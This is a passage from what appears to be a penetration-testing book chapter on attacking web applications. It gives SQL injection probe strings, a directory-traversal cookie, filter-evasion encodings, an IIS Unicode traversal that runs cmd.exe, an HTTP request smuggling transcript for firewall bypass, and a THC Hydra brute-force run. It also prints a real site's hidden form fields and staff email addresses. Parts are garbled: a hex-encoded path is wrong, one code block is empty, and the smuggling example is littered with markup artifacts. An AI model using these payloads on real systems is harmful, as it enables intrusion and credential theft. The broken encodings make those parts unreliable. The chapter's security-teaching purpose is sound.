index.jsp?page=falls.shtml:<INPUT TYPE=HIDDEN NAME=_CONFFILE VALUE="cart.ini">
index.jsp?page=falls.shtml:<INPUT TYPE=HIDDEN NAME=_ACTION VALUE="ADD">
index.jsp?page=falls.shtml:<INPUT TYPE=HIDDEN NAME=_PCODE VALUE="88-001">
```

Automated HTML sifting and analysis

A number of tools can perform automated web site crawling and sifting of HTML. Sam Spade (http://examples.oreilly.com/networks/tools/spade114.exe) is a Windows tool that you can use to easily crawl web sites for hidden fields and email addresses in particular.

Upon installing Sam Spade, you can use the Crawl Website feature (available under Tools). Figure 7-2 shows the optimum Crawl Website options for identifying hidden fields and email addresses. Figure 7-3 shows that, upon starting the crawler, hidden fields are identified.

Along with highlighting hidden fields that are passed to server-side scripts, potentially interesting filenames are also uncovered, such as http://www.vegas.com/travel/basic.con, the Soupermail configuration file, shown in Figure 7-4.
Upon either manually browsing a site or using automated crawler software, you should compile a list of file extensions in use. Table 7-2 lists interesting server-side file extensions with their related application server platforms.

Figure 7-2. Sam Spade Crawl Website settings

Analysis of Server-Side File Extensions

Upon either manually browsing a site or using automated crawler software, you should compile a list of file extensions in use. Table 7-2 lists interesting server-side file extensions with their related application server platforms.
Figure 7-3. Sam Spade Crawl Website output

```plaintext
Fetching http://www.vegas.com/bookingagent/sirhotel/travel.do ... done
Fetching http://www.vegas.com/shows/index.html ... done
Fetching http://www.vegas.com/gaming/gaming.html ... done
Hidden form: <input type="hidden" name="availableOnline" value="on">
Hidden form: <input type="hidden" name="action" value="search_action_new">
Hidden form: <input type="hidden" name="sortBy" value="weight">
Hidden form: <input type="hidden" name="SearchList" value="A">
Hidden form: <input type="hidden" name="SearchType" value="">
Hidden form: <input type="hidden" name="TSSFirst" value="on">
Hidden form: <input type="hidden" name="TSSSearchlist" value="343,348,350,354">
Hidden form: <input type="hidden" name="homebutton" value="gobuttonclicked">
Hidden form: <input type="hidden" name="beds" value="1">
Fetching http://www.vegas.com/restaurant/index.html ... done
Fetching http://www.vegas.com/golf/index.html ... done
Fetching http://www.vegas.com/weddings/index.html ... done
Fetching http://www.vegas.com/spas/index.html ... done
Fetching http://www.vegas.com/attractions/index.html ... done
Fetching http://www.vegas.com/nightlife/index.html ... done
Fetching http://www.vegas.com/traveltips/index.html ... done
Fetching http://www.vegas.com/lounge/index.html ... done
Fetching http://www.vegas.com/travel/ ... done
Fetching http://www.vegas.com/shows/ ... done
Hidden form: <input type="hidden" name="orderBy" value="HEIGHT" />
Hidden form: <input name="SoupermailConf" type="hidden" value="basic.com">
Hidden form: <input name="SubjectField" type="hidden" value="VEGAS.com Group">
```

Figure 7-4. The Soupermail configuration file

```plaintext
# The line below ensures that an email address has been given
required: Email & O1firstname & O1lastname & O2phone & O6departure Month & O3esmail: Email

# The line below specifies a template to use upon success
#success: /travel/thank_you.html
#goto:success: /travel/thank_you.html
#goto:failure: /travel/error.html

# The line below lets Soupermail know who to send the message
# to. It is actually the value of the Email field from the form
#mailto: "$form_recipient"
mailto: groups@vegas.com
mailto: greg.rpam@vegas.com

# This sets the subject of the email
#subject: "$form_subject"
subject: "Group Reservation Request"
```
Session ID Fingerprinting

The session ID variable that is set as a cookie when using a given web application will indicate the web application technology in use. In Example 7-4, we receive a session ID variable (JSESSIONID) from an IBM WebSphere server through the Set-Cookie: header.

Example 7-4. IBM WebSphere session ID enumeration

```
$ telnet www.example.org 80
Trying 192.168.200.4...
Connected to www.example.org.
Escape character is '^]'.
GET /home.do HTTP/1.0
HTTP/1.1 200 OK
Date: Thu, 09 Aug 2007 23:07:09 GMT
Server: Apache
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=0000gcK8-ZwJtCu81XdUCi-a1dM:10ikrbhip; Path=/
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-GB
```

Even if the Server: field has been modified or is obfuscated, as in Example 7-4, you can cross-reference the session ID variable name to ascertain the web application server in use. Table 7-3 lists session ID variable names and associated web application server technologies.

---

**Table 7-2. Server-side file extensions and associated technologies**

<table>
<thead>
<tr>
<th>File extension(s)</th>
<th>Technology</th>
<th>Application Server platform</th>
</tr>
</thead>
<tbody>
<tr>
<td>ASP</td>
<td>Microsoft Active Server Pages (ASP)</td>
<td>Microsoft IIS</td>
</tr>
<tr>
<td>ASPX, ASMX</td>
<td>Microsoft ASP.NET</td>
<td>Microsoft IIS 5.0 and later (using .NET Framework)</td>
</tr>
<tr>
<td>CFM, CFML</td>
<td>Adobe ColdFusion</td>
<td>Generic, although usually associated with Microsoft IIS</td>
</tr>
<tr>
<td>DO</td>
<td>IBM WebSphere</td>
<td>IBM WebSphere Application Server</td>
</tr>
<tr>
<td>JSP</td>
<td>Sun Java Server Pages (JSP)</td>
<td>Associated with many Unix-based web application servers (such as Apache Tomcat, BEA WebLogic, Sun Java System Application Server, and Oracle Application Server)</td>
</tr>
<tr>
<td>NSF</td>
<td>IBM Lotus Domino</td>
<td>IBM Lotus Domino</td>
</tr>
<tr>
<td>PHP, PHP3, PHP4, PHP5</td>
<td>PHP script</td>
<td>Generic, although usually associated with Apache web servers</td>
</tr>
<tr>
<td>PL, PHTML, PM</td>
<td>Perl CGI script</td>
<td>Generic, although usually Unix-based</td>
</tr>
</tbody>
</table>
If you know the web application server in use, you can test for specific source code disclosure and other issues. If a JSESSIONID variable name is returned, it requires further investigation.

### JSESSIONID string fingerprinting

As specified in Table 7-3, you can fingerprint the web application server by analyzing the JSESSIONID string format. It is easy to differentiate between IBM WebSphere, Apache Tomcat (and the Tomcat Connector module, mod_jk, used within Apache HTTP Server), and Caucho Resin; depending on the format of the session ID value itself, you can fingerprint the exact engine.

**Apache Tomcat 4.x and later.** Here is a sample of JSESSIONID strings used by Apache Tomcat 4.x and later, along with the Apache Tomcat Connector module (mod_jk) found within Apache HTTP Server:

```
BE61490F5D872A14112A01364D085D0C
3DADE32A11C791AE27821007F0442911
9991AF687A2A3111F82FD35D11235DEE
25374B7160D5CE06846F491F85F9861
547CB1ABA36BBAF1054E80DA04FF1281
```

Session ID strings used in Tomcat 4.x and later consist of 32 uppercase alphanumeric characters.

**Apache Tomcat 3.x and earlier.** Here is a sample of JSESSIONID strings used by Apache Tomcat 3.x and prior:

```
bb0u8p5y01
1239865610
bx7tefenn1
vxu5dw4l61
0nb1rrxrv1
```

Session ID strings used in Tomcat 3.x and prior consist of 10 lowercase alphanumeric characters, ending in an integer.

### Table 7-3. Session ID variable names and associated technologies

<table>
<thead>
<tr>
<th>Session ID variable name</th>
<th>Web application server</th>
</tr>
</thead>
<tbody>
<tr>
<td>ASPSESSIONID</td>
<td>Microsoft IIS using standard ASP scripting</td>
</tr>
<tr>
<td>ASP.NET_SessionId</td>
<td>Microsoft IIS using .NET Framework ASP scripting (ASP.NET)</td>
</tr>
<tr>
<td>CFID and CFTOKEN</td>
<td>Adobe ColdFusion</td>
</tr>
<tr>
<td>JROUTE</td>
<td>Sun Java System Application Server</td>
</tr>
<tr>
<td>JSESSIONID</td>
<td>Various JSP engines, including Apache Tomcat, IBM WebSphere Application Server, and Caucho Resin; depending on the format of the session ID value itself, you can fingerprint the exact engine</td>
</tr>
<tr>
<td>PHPSESSID</td>
<td>PHP</td>
</tr>
<tr>
<td>WebLogicSession</td>
<td>BEA WebLogic</td>
</tr>
</tbody>
</table>
Cauch Resin 3.0.21 and later. Here is a sample of JSESSIONID strings used by Caucho Resin 3.0.21 and later:

- abc6dPVYNfH76obtVLr
- abc_oiVoG-WSwCjOrQxr
- abcW5kkXx0ehcPvO8or
- abc2apfYQ_63yTi2or
- abc9-dzRe9ga1p8Ufor

Session ID strings used in Resin 3.0.21 and later consist of 21 ASCII characters, starting with abc.

Cauch Resin 3.0.20 and earlier. Here is a sample of JSESSIONID strings used by Caucho Resin 3.0.20 and earlier:

- a8_gDBlsEsEf
- bDjuKMDZY_Ie
- aIIiXH-UtOU4
- anDvfo002T6
- ajwv3bEc0i

Session ID strings used in Resin 3.0.20 consist of 12 ASCII characters.

IBM WebSphere. Here is a sample of JSESSIONID strings used by WebSphere:

- 0000gcK8-ZwJtCu81Xu1C1-a1dM:10ikrbhip
- 0008BuKf22r7fxyf1KpL_YW3:10ikrbhip
- 0001I7bfjRbc2Y5GxQzY4DC-:-1
- 00010rxf9aKo9qexR7N72j3-:-1
- 0001IWudT_zbR-gFYB-p0Ak7S0S:v544d031

Session ID strings used in WebSphere start with four integers (usually 0000 or 0001), followed by another 23 ASCII characters, and a semicolon proceeded by another value.

Sun Java System Application Server. Here is a sample of JSESSIONID strings used by Sun Java System Application Server:

- 8025e3c8e2fb506d7879460a1rac2
- b851ff6a0f2d5d27b60987137e
- 6ad83600edaf303293f26d9be2a
- ec4722c1ff6a5f0a4a5250728e9c
- 6ad83600edfatf303293f26d9be2a

Session ID strings used in Sun Java System Application Server consist of 28 lowercase alphanumeric characters.

Active Backend Database Technology Assessment

If a backend database is in use (as is often the case with enterprise web applications), it can be enumerated by passing erroneous data as variables to web application components, thus spawning a response that will indicate the backend database server technology.
Upon crawling the web site and identifying scripts that may be passing data to a backend database, you can modify input strings in an attempt and solicit an error or similar response that indicates the database in use. Strings used to solicit responses are as follows:

```
test
'--
'+OR+1=1
'+AND+1=1
'+AND+1=2
;
*%
foo)
@@servername
```

An error generated by a backend Microsoft SQL Server instance upon requesting the URL `http://www.example.org/target/target.asp?id='` is as follows (indicating a SQL injection issue):

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
/target/target.asp, line 113
```

An error generated by a backend Microsoft SQL Server instance upon requesting the URL `http://www.example.org/target/target.asp?id=test` is as follows (indicating that the server is expecting an integer and not a string):

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'test' to a column of data type int.
/target/target.asp, line 113
```

## Web Application Attack Strategies

You can influence and modify the way a routine or function runs by feeding it malformed input. Depending on the type of attack you are launching, the malformed input could include arbitrary commands (OS, SQL, LDAP, or other directives used to execute commands on backend servers), arbitrary filenames (such as configuration files, password files, or other sensitive content), or arbitrary client-side script (such as malicious JavaScript used to exploit cross-site scripting issues).

Such malformed input can be injected through the following vectors:

- Server-side script variables
- HTTP request headers
- HTTP cookie fields
- XML request content
These attack vectors are discussed in the following sections. An additional attack strategy that is discussed here is that of bypassing HTTP request filtering mechanisms (such as web application firewalls).

**Server-Side Script Variables**

Variables that are passed directly to scripts through the URL or form fields can be modified as follows:

- Simply using a browser (if the input variables are in the URL or page form fields, but this may be subject to client-side filtering and controls using JavaScript and HTML field size limitations)
- Using a browser and a locally modified HTML page (where the hidden input fields and other values have been modified)
- Using a browser combined with an attack proxy, such as Paros, to modify hidden form fields and variables on-the-fly at the network layer

An attack proxy is by far the most powerful vector to use when modifying variables passed to server-side scripts. Figure 7-5 shows Paros used as a proxy to modify HTTP input passed to a web application.

![Figure 7-5. Using Paros to modify HTTP input on the fly](image)

You can use the proxy to monitor and log HTTP session traffic to and from the web server and application, and to modify any of the fields or variables.
HTTP Request Headers

When interacting with web servers, numerous HTTP request header fields can be used by the client system. HTTP 1.1 header fields are defined in RFC 2616. I have assembled a list of useful HTTP request header fields in Table 7-4.

Table 7-4. Useful HTTP request header fields

<table>
<thead>
<tr>
<th>Header</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Authorization</td>
<td>Client authorization string, used to access protected content</td>
</tr>
<tr>
<td>Connection</td>
<td>Used to maintain or close an HTTP session</td>
</tr>
<tr>
<td>Content-Encoding</td>
<td>Indicates content encoding applied to HTTP message body</td>
</tr>
<tr>
<td>Content-Language</td>
<td>Indicates content language applied to the HTTP message body</td>
</tr>
<tr>
<td>Content-Length</td>
<td>Indicates the size of the HTTP message body</td>
</tr>
<tr>
<td>Content-MD5</td>
<td>MD5 digest of the HTTP message body</td>
</tr>
<tr>
<td>Content-Range</td>
<td>Indicates the byte range of the HTTP message body</td>
</tr>
<tr>
<td>Content-Type</td>
<td>Indicates the content type of the HTTP message body</td>
</tr>
<tr>
<td>Expect</td>
<td>Not commonly used by client software, but triggers XSS in Apache and other web servers through a server error message (CVE-2006-3918)</td>
</tr>
<tr>
<td>Host</td>
<td>Details the virtual host that the HTTP request is destined for</td>
</tr>
<tr>
<td>Proxy-Authorization</td>
<td>Client authorization string, used to access protected content</td>
</tr>
<tr>
<td>Range</td>
<td>Desired byte range indicator</td>
</tr>
<tr>
<td>Referer</td>
<td>Allows the client to define the last referring address (URI)</td>
</tr>
<tr>
<td>Trailer</td>
<td>Indicates HTTP headers are present in the trailer of a chunked HTTP message</td>
</tr>
<tr>
<td>Transfer-Encoding</td>
<td>Indicates transformation (if any) applied to the HTTP message body</td>
</tr>
<tr>
<td>Upgrade</td>
<td>Specifies HTTP protocols that the client supports so that the server may use a different protocol if desired</td>
</tr>
<tr>
<td>User-Agent</td>
<td>Indicates the client software in use (usually web browser)</td>
</tr>
<tr>
<td>Warning</td>
<td>Used to carry information relating to the status or transformation of the HTTP message</td>
</tr>
</tbody>
</table>

These fields are usually handled and processed by the web server. Sometimes, however, variables passed using these HTTP request fields are passed to the web application, such as the Referer: during a simple state check, to ensure the user has browsed to the page via the correct location.

Message encoding, chunking, and length header fields are particularly useful, as they can be used to bypass monitoring and filtering mechanisms that may be in use, as in the “HTTP request smuggling” example later in this chapter.

**HTTP Cookie Fields**

HTTP cookies set by the web server can contain a lot of useful information and settings that personalize the user experience. Cookies are presented back to the server through the `Cookie:` HTTP header.

Generally, cookies are used to store the following data client-side:

- Authentication and HTTP session details
- Web application settings (including template and page style settings)

Two different cookies presented to a web server by a client may look something like this:

```
Cookie: ID=d9ccd3f49f18cc1:TM=2166255568:LM=1162655568:TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
```

In both examples, there are user session details (ID and USER), and page style definitions (flower and GreenDotRed). You can perform two kinds of attack against these cookie fields, the first being a session ID testing and manipulation attack, and the second being filesystem or SQL command execution in relation to the page style definition fields of the cookies.

If the web application is running on a Unix-based system and we make an assumption that the GreenDotRed page template is a file (and not stored in a backend database), we could attempt directory traversal to open an arbitrary file, as follows:

```
Cookie: USER=1826cc8f:PSTYLE=../../../../../../../etc/inetd.conf
```

**XML Request Content**

XML messages can be sent between both presentation and application tiers (i.e., from the web browser to the web server, and from the web server to the application server) over HTTP, using the Simple Object Access Protocol (SOAP) envelope standard. Most of the time, these messages are sent in a Web Services context, involving the following components:

- XML messages, sent using the SOAP standard (http://www.w3.org/TR/soap/)
- Web Services Description Language (WSDL, http://www.w3.org/TR/wsd)
- Universal Description, Discovery, and Integration (UDDI, http://www.uddi.org)

XML and Web Services introduce a strictly defined method of interacting with remote programs and transmitting data. Services based on XML are exposed to the same type of input validation and SQL injection attacks that apply to web applications.
WSDL enumeration

An XML-based application will have a WSDL file that defines the expected data format and request layout. By design, this file will be exposed to the user. So, during the application enumeration phase, be on the lookout for WSDL files. Example 7-5 shows a sample WSDL file.

Example 7-5. Sample WSDL definition

```xml
<?xml version="1.0" encoding="UTF-8"?>
<definitions name="HelloService"
    targetNamespace="http://www.ecerami.com/wsdl/HelloService.wsdl"
    xmlns="http://schemas.xmlsoap.org/wsdl/"
    xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
    xmlns:tns="http://www.ecerami.com/wsdl/HelloService.wsdl"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema">

    <message name="SayHelloRequest">
        <part name="firstName" type="xsd:string"/>
    </message>

    <message name="SayHelloResponse">
        <part name="greeting" type="xsd:string"/>
    </message>

    <portType name="Hello_PortType">
        <operation name="sayHello">
            <input message="tns:SayHelloRequest"/>
            <output message="tns:SayHelloResponse"/>
        </operation>
    </portType>

    <binding name="Hello_Binding" type="tns:Hello_PortType">
        <soap:binding style="rpc"
            transport="http://schemas.xmlsoap.org/soap/http"/>
        <operation name="sayHello">
            <input>
                <soap:body
                    encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
                    namespace="urn:examples:helloservice"
                    use="encoded"/>
            </input>
            <output>
                <soap:body
                    encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
                    namespace="urn:examples:helloservice"
                    use="encoded"/>
            </output>
        </operation>
    </binding>
</definitions>
```
The WSDL file in Example 7-5 defines the following:

- There is one Web Service, called Hello_Service
- The Web Service accepts the XML input message SayHelloRequest
- The Web Service generates the XML output message SayHelloResponse

Example 7-6 shows the XML message that it used to generate the output “Hello, Chris!”

I use the sayHello operation name with the firstName variable to generate the response. The variable name could be modified to include XSS attack code, LDAP or command injection, or other malformed input.

Such WSDL data can also be enumerated by appending ?wsdl to ASMX file requests within Microsoft IIS when using .NET Framework components, such as http://www.example.org/test.asmx?wsdl.
Attacking via XML

XML is a markup language similar to HTML. You can perform the same attacks against XML as you can against an ASP file that you suspect is vulnerable to a SQL injection attack. However, instead of entering a malicious URL parameter, you must modify the XML data sent to the web service using POST.

Let’s take a look at a very simple XML request. This example code makes a POST to a web application in order to view the profile of the user Timmy. In response, the web application returns XML data that includes the user’s email address, home address, and phone number.

```plaintext
POST /foo/ViewProfile HTTP/1.0
Content-Type: text/xml
Content-length: 80
<?xml version="1.0"?>
<GetProfile>
  <ProfileName>Timmy</ProfileName>
</GetProfile>
```

You could perform an impersonation attack by replacing Timmy with Mickey, or perform an input validation attack by replacing Timmy with a single quote (’ or the hex encoded value %27), or another malicious string to induce a process manipulation attack server-side.

Filter Evasion Techniques

In hardened environments, malformed input and arbitrary attack strings are often filtered by web application firewalls or internal mechanisms to strip dangerous request strings. These security mechanisms can sometimes be bypassed using the following techniques:

- SSL transport to bypass web application firewalls
- Encoding and obfuscating attack code
- HTTP request smuggling

Encoding and obfuscating attack code

There are a number of encoding and obfuscation mechanisms and techniques that you can use to bypass filtering mechanisms. These techniques are primarily hex and double-hex encoding, but can also include Unicode, or transfer-encoding mechanisms supported by the specific web server. To use these techniques, substitute the ASCII values of the characters you are passing to the web application with hex values, which are then parsed by the web application and decoded server-side. Table 7-5 is an ASCII-to-hex map for your reference.
<table>
<thead>
<tr>
<th>Hex</th>
<th>ASCII</th>
<th>Notes</th>
<th>Hex</th>
<th>ASCII</th>
<th>Notes</th>
<th>Hex</th>
<th>ASCII</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>%20</td>
<td>SP</td>
<td>Space</td>
<td>%40</td>
<td>@</td>
<td>At symbol</td>
<td>%60</td>
<td>`</td>
<td>Back tick</td>
</tr>
<tr>
<td>%21</td>
<td>!</td>
<td>Exclamation mark</td>
<td>%41</td>
<td>A</td>
<td>%61</td>
<td>a</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%22</td>
<td>&quot;</td>
<td>Double-quote</td>
<td>%42</td>
<td>B</td>
<td>%62</td>
<td>b</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%23</td>
<td>#</td>
<td>Number sign</td>
<td>%43</td>
<td>C</td>
<td>%63</td>
<td>c</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%24</td>
<td>$</td>
<td>Dollar sign</td>
<td>%44</td>
<td>D</td>
<td>%64</td>
<td>d</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%25</td>
<td>%</td>
<td>Percent sign</td>
<td>%45</td>
<td>E</td>
<td>%65</td>
<td>e</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%26</td>
<td>&amp;</td>
<td>Ampersand</td>
<td>%46</td>
<td>F</td>
<td>%66</td>
<td>f</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%27</td>
<td>‘</td>
<td>Single-quote</td>
<td>%47</td>
<td>G</td>
<td>%67</td>
<td>g</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%28</td>
<td>(</td>
<td>Open bracket</td>
<td>%48</td>
<td>H</td>
<td>%68</td>
<td>h</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%29</td>
<td>)</td>
<td>Close bracket</td>
<td>%49</td>
<td>I</td>
<td>%69</td>
<td>i</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%2A</td>
<td>*</td>
<td>Asterisk</td>
<td>%4A</td>
<td>J</td>
<td>%6A</td>
<td>j</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%2B</td>
<td>+</td>
<td>Plus sign</td>
<td>%4B</td>
<td>K</td>
<td>%6B</td>
<td>k</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%2C</td>
<td>,</td>
<td>Comma</td>
<td>%4C</td>
<td>L</td>
<td>%6C</td>
<td>l</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%2D</td>
<td>-</td>
<td>Dash</td>
<td>%4D</td>
<td>M</td>
<td>%6D</td>
<td>m</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%2E</td>
<td>.</td>
<td>Dot</td>
<td>%4E</td>
<td>N</td>
<td>%6E</td>
<td>n</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%2F</td>
<td>/</td>
<td>Forward slash</td>
<td>%4F</td>
<td>O</td>
<td>%6F</td>
<td>o</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%30</td>
<td>0</td>
<td></td>
<td>%50</td>
<td>P</td>
<td>%70</td>
<td>p</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%31</td>
<td>1</td>
<td></td>
<td>%51</td>
<td>Q</td>
<td>%71</td>
<td>q</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%32</td>
<td>2</td>
<td></td>
<td>%52</td>
<td>R</td>
<td>%72</td>
<td>r</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%33</td>
<td>3</td>
<td></td>
<td>%53</td>
<td>S</td>
<td>%73</td>
<td>s</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%34</td>
<td>4</td>
<td></td>
<td>%54</td>
<td>T</td>
<td>%74</td>
<td>t</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%35</td>
<td>5</td>
<td></td>
<td>%55</td>
<td>U</td>
<td>%75</td>
<td>u</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%36</td>
<td>6</td>
<td></td>
<td>%56</td>
<td>V</td>
<td>%76</td>
<td>v</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%37</td>
<td>7</td>
<td></td>
<td>%57</td>
<td>W</td>
<td>%77</td>
<td>w</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%38</td>
<td>8</td>
<td></td>
<td>%58</td>
<td>X</td>
<td>%78</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%39</td>
<td>9</td>
<td></td>
<td>%59</td>
<td>Y</td>
<td>%79</td>
<td>y</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%3A</td>
<td>:</td>
<td>Colon</td>
<td>%5A</td>
<td>Z</td>
<td>%7A</td>
<td>z</td>
<td></td>
<td></td>
</tr>
<tr>
<td>%3B</td>
<td>;</td>
<td>Semicolon</td>
<td>%5B</td>
<td>[</td>
<td>Open square bracket</td>
<td>%7B</td>
<td>{</td>
<td>Open brace</td>
</tr>
<tr>
<td>%3C</td>
<td>&lt;</td>
<td>Less than</td>
<td>%5C</td>
<td>\</td>
<td>Backslash</td>
<td>%7C</td>
<td></td>
<td>Pipe</td>
</tr>
<tr>
<td>%3D</td>
<td>=</td>
<td>Equal sign</td>
<td>%5D</td>
<td>]</td>
<td>Close square bracket</td>
<td>%7D</td>
<td></td>
<td>Close brace</td>
</tr>
<tr>
<td>%3E</td>
<td>&gt;</td>
<td>More than</td>
<td>%5E</td>
<td>^</td>
<td>Circumflex</td>
<td>%7E</td>
<td>~</td>
<td>Tilde</td>
</tr>
<tr>
<td>%3F</td>
<td>?</td>
<td>Question mark</td>
<td>%5F</td>
<td>_</td>
<td>Underscore</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
**Hex encoding.** Standard hex encoding would involve taking an attack string such as this:

```
http://www.example.org/test.cgi?file=etc/passwd
```

And modifying it by encoding the `/etc/passwd` string:

```
http://www.example.org/test.cgi?file=%2F%65%74%63%73%64
```

**Double-hex encoding.** You can also double-encode ASCII values. The web request that you send to the server is as follows (taken from the IIS Unicode attack string):

```
http://www.example.org/scripts/test.asp?file=..%25c..%25c\autoexec.bat
```

The `%25` entries decode to `%` characters, which then become:

```
http://www.example.org/scripts/test.asp?file=..%c..\autoexec.bat
```

The `%c` entries decode to backslashes, as follows:

```
```

**HTML UTF-8 and hex encoding.** When avoiding filters used to catch malicious HTML and avoid XSS vulnerabilities, you can use three types of encoding, as follows (with an example of encoding the string `ABC`):

- HTML hex encoding (`&amp;x41;&amp;x42;&amp;x43;`)
- HTML UTF-8 decimal encoding (`&amp;#65;&amp;#66;&amp;#67;`)
- HTML long UTF-8 decimal encoding (`&amp;#0000065&amp;#0000066&amp;#0000067`)

This encoding should be used within HTML, and not to obfuscate variables passed to scripts as part of a URL. The useful feature with long UTF-8 encoding is that semicolons aren’t used, which will bypass some filters looking for hex and short UTF-8 encoded strings. Other characters can be useful to break up XSS strings to avoid detection, such as using a tab character (`&amp;#x09;`) or new line (`&amp;#x0A;`). RSnake’s XSS cheat sheet (http://ha.ckers.org/xss.html) is a very useful resource containing all this information and more.

ASCII-to-decimal and ASCII-to-hex tables are available online at these locations:

```
http://www.asciitable.com
http://www.lookuptables.com
http://www.neurophys.wisc.edu/comp/docs/ascii.html
```

**HTTP request smuggling**

HTTP smuggling leverages the different ways that a particularly crafted HTTP message can be parsed and interpreted by different agents (by browsers, web caches, and application firewalls). Amit Klein et al. first publicized this attack in 2005 (http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf). There are several possible applications (referred to at the end of this section), but the most effective is application firewall bypass.
There are several products that enable a system administrator to detect and block a hostile web request. One very old example is the infamous Unicode directory traversal attack against Microsoft IIS (CVE-2000-0884), in which an attacker can execute arbitrary commands, using a request such as:

\[ \text{http://target/scripts/../%c0%af../winnt/system32/cmd.exe?/c+dir} \]

It is easy to spot and filter this attack by the checking \text{GET} \text{ and POST} \text{ requests for the presence of strings like ".." and "cmd.exe". However, IIS 5.0 is quite picky about any request whose body is up to 48K bytes, and truncates all content that is beyond this limit when the Content-Type: header is different from application/x-www-form-urlencoded. You can leverage this by creating a very large request, as shown in Example 7-7.

\text{Example 7-7. HTTP request smuggling against Microsoft IIS 5.0}

\$ \text{telnet target 80}
\text{Trying 192.168.200.5...}
\text{Connected to target.}
\text{Escape character is '^['].}
\text{POST /target.asp HTTP/1.1}
\text{Host: target}
\text{Connection: Keep-Alive}
\text{Content-Length: 49225}

\text{<49152 bytes of garbage>}
\text{POST /target.asp HTTP/1.0}
\text{Connection: Keep-Alive}
\text{Content-Length: 33}

\text{POST /target.asp HTTP/1.0}
\text{xxxx: POST /scripts/../%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0}
\text{Connection: Keep-Alive}

\text{HTTP/1.1 200 OK}
\text{Server: Microsoft-IIS/5.0}
\text{Date: Tue, 26 Dec 2005 03:06:03 GMT}
\text{Content-Type: application/octet-stream}
\text{Volume in drive C has no label.}
\text{Volume Serial Number is 12345}
\text{Directory of C:\Inetpub\scripts}
\text{05/12/21 09:52a <DIR> .}
\text{05/12/21 09:52a <DIR> ..}
\text{2 File(s) 0 bytes}
\text{1,789,378,560 bytes free}
By using Connection: Keep-Alive, you can send multiple requests during one HTTP session. In this example, there are four POST requests (the fourth is the one we are smuggling).

The first request is 49223 bytes and includes the second request. Therefore, an application firewall will see and process the first request, but not the second, as it is simply part of the first request. The firewall will also see request three, but it will not mark request four as suspicious because the fourth POST request is a string after the xxxx: field.

IIS 5.0 stops parsing the first request after 49152 (48K) bytes of garbage, and processes the second request as a new, separate request. The second request claims the content is 33 bytes, which includes everything up to xxxx:. IIS then parses request four as a new request.

A number of other HTTP request smuggling techniques and attacks can be launched. Amit Klein et al. have published numerous white papers about the phenomenon:

http://www.owasp.org/images/1/1a/OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.ppt
http://www.securityfocus.com/archive/1/411418
http://www.securityfocus.com/archive/1/425593

Web Application Vulnerabilities

Now that you understand web application attack vectors and techniques used to bypass filtering or security mechanisms, you can focus on web application vulnerability classes. Such vulnerabilities can be placed into two high-level categories:

• Authentication issues (default user accounts, brute force, and session management bugs)
• Parameter modification (command injection, filesystem access, and XSS bugs)

Authentication Issues

Web application authentication and authorization is of paramount importance. Often, however, applications are susceptible to the following classes of authentication vulnerability:

• Default or guessable user accounts
• HTTP form brute-force
• Session management weaknesses
Default/guessable user accounts

Web applications are often deployed with default user accounts. Usernames of Administrator, admin, and root should be attempted, with passwords including <blank>, admin, 1234, 12345, password, system, and root. For a more thorough automated test, use THC Hydra (http://www.thc.org/thc-hydra/) to perform a brute-force password-grinding attack against the three common usernames with a dictionary file.

HTTP form brute force

You can use THC Hydra to perform HTTP form brute force. Example 7-8 shows the tool in use against the login page at http://www.site.com/index.cgi?login&name=<user> &pass=<pass>. If the login is incorrect, the error page contains the string Not allowed, which is how Hydra knows whether it has the right credentials or not.

Example 7-8. Using THC Hydra to perform HTTP form brute force

$ hydra -L users.txt -P words.txt www.site.com  https-post-form
"/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org)starting at 2007-07-04 19:16:17
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task
[DATA] attacking service http-post-form on port 443
[STATUS] attack finished for www.site.com (waiting for childs to finish)
[443] host: 10.0.0.1   login: chris   password: pa55word
[STATUS] attack finished for www.site.com (waiting for childs to finish)

Session management weaknesses

